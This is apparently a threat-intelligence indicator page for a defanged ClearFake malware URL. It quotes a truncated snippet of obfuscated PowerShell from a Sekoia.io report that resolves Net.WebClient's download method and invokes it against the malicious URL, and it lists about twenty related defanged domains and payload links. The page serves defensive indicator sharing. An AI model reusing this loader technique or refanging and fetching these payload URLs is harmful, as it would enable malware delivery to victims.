hxxps://ty.klipxytozyi[.]shop/kangarooing.bmpURL
Reported by 1 independent source · first reported by Sekoia.io · last reported
Last reported 4 months ago
What the reports say
1 report, newest first · the exact sentence from each-
ClearFake's Variant: Web3 Exploitation for Malware Delivery“…SV WQz (((([Net.WebClient]::New()|GM)|Where{(LS Variable:_).Value.Name -ilike ''*wn*d*g''}).Name));Set-Variable HMo ''hxxps://ty.klipxytozyi[.]shop/kangarooing.bmp'';Invoke-Command((Item Variable:/E*tex*).Value.InvokeCommand.(((Item Variable:/E*tex*).Value.InvokeCommand.PsObject.Me…”
Indicators reported together
named in the same reports- hxxps://start.cleaning-room-device[.]shop/sha589.m4ain 1 report
- start.cleaning-room-device[.]shopin 1 report
- hxxps://ai.fdswgw[.]shop/one.mp4in 1 report
- ai.fdswgw[.]shopin 1 report
- hxxps://mnjk-jk.bsdfg-zmp-q-n[.]shop/1.mp4in 1 report
- mnjk-jk.bsdfg-zmp-q-n[.]shopin 1 report
- hxxps://nbhg-v.iuksdfb-f[.]shop/ajax.mp3in 1 report
- nbhg-v.iuksdfb-f[.]shopin 1 report
- hxxps://hur.bweqlkjr[.]shop/m41.mp4in 1 report
- hur.bweqlkjr[.]shopin 1 report
- hbwzfr[.]runin 1 report
- 6d6c646e664c595246466a4a64464a51in 1 report
- ty.klipxytozyi[.]shopin 1 report
- hxxps://raw.githubusercontent[.]com/Vincent-48/html/refs/heads/master/page.txtin 1 report
- hxxps://raw.githubusercontent[.]com/Vincent-48/html/refs/heads/master/TestLAB.exein 1 report
- hxxps://lapkimeow[.]icu/runin 1 report
- lapkimeow[.]icuin 1 report
- ert67-o9.pages[.]devin 1 report
- hxxps://f003.backblazeb2[.]com/file/skippp/uu.htmlin 1 report
- hxxps://f003.backblazeb2[.]com/file/skippp/index.htmlin 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.